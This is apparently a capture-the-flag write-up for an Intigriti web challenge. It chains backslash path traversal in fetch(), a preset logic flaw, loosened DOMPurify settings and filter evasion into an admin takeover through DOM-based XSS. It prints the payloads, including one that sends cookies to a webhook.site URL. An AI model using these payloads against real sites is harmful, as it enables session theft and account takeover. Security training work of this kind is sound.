Intigriti April 2026 Challenge Writeup: Northstar Notes, How I Backslashed My Way into Admin’s Cookies 🍪
TL;DR: Client-side path traversal via fetch() using backslashes + Backend JSON injection via user preferences + DOMPurify bypass + WAF regex evasion = Sweet, sweet Admin ATO.
I started by looking at how Northstar Notes loads its panel views. When you view a note, the URL looks like this: /note/123/summary.
Digging into app.js, I noticed the frontend takes that summary panel from window.__APP_INIT__.panel and blindly throws it into a fetch() call to get a manifest:
var target = '/note/' + encodeURIComponent(noteId) + '/' + panel + '/manifest.json?note=' + encodeURIComponent(noteId);Wait a minute... They aren't sanitizing the panel variable for backslashes?
Modern browsers are basically three raccoons in a trenchcoat pretending to be an HTTP client. If you feed a browser URL backslashes (\), it goes, "Ah, you meant forward slashes (/), let me fix that for you!"
By setting the panel to %5C..%5C..%5C..%5Capi..., the browser evaluates the fetch() target and traverses right out of the /note/ directory. Hmm...
Now I had a client-side path traversal, meaning I could force the admin's browser to fetch() any API endpoint on the challenge domain that returns JSON. But what endpoint gives me a malicious payload?
Enter /api/account/preferences.
I realized that when you create a "Reader Preset" on your account, the backend saves it. But here's the beautiful business logic flaw: Presets are tied to the creator of the note, not the reader. If I create a note, and the Admin reads it, the backend will serve my preset to the Admin.
I fired up a quick POST request to save a malicious JSON preset named pwn into my account:
{
"readerPresets": {
"pwn": {
"profile": {
"renderMode": "full",
"widgetTypes": ["custom"],
"widgetSink": "script"
}
}
}
}By pointing the admin's fetch() path traversal at /api/account/preferences/reader-presets/pwn, their browser would load my JSON and apply renderMode: "full".
With renderMode: "full" enabled, DOMPurify stops stripping id and data- attributes. But there were two more hurdles in app.js before I could pop an alert:
- The Silent Killer:
initContentEnhancements()immediately dies if it doesn't find<div id="enhance-config">in the DOM. It justreturns. No errors, no warnings. Just pain. - The WAF: Even with
idattributes allowed, there's a custompostSanitizeregex that nukes anydata-attribute containing naughty words:
var UNSAFE_CONTENT_RE = /script|cookie|document|window|eval|alert|prompt|confirm|Function|fetch|XMLHttp|.../i;
To bypass the silent killer, I just threw <div id="enhance-config" data-types="custom"></div> into my note content.
To bypass the Regex WAF, I couldn't use document.cookie. But JavaScript is a magical language where this inside an inline event handler points to window. And we can access properties using bracket notation and string concatenation!
document.cookie ➡️ this['doc'+'ument']['coo'+'kie']
The regex didn't stand a chance.
I combined all the pieces to forge the ultimate note content:
<div id="enhance-config" data-types="custom"></div>
<div data-enhance="custom" data-cfg="navigator.sendBeacon('https://webhook.site/YOUR-UUID?c='+this['doc'+'ument']['coo'+'kie'])"></div>Created the note, grabbed the Note ID, and built the final traversal URL for the Admin Bot:
https://challenge-0426.intigriti.io/note/a34ea00265c79463cfa2468bb57963f29c38e69d995f1e3bbe65079c512f8838/%5C..%5C..%5C..%5Capi%5Caccount%5Cpreferences%5Creader-presets%5Cpwn
And thus, we get this chain:
- Admin clicked the link.
- Browser parsed the backslashes.
- Fetched my malicious preset.
- DOMPurify stepped aside.
- Regex got bypassed.
- Webhook went ding.
And I laughed all the way to the bank
Impact: Full Admin Account Takeover via 1-click DOM XSS.
Thanks to Intigriti and KonaN for an awesome challenge!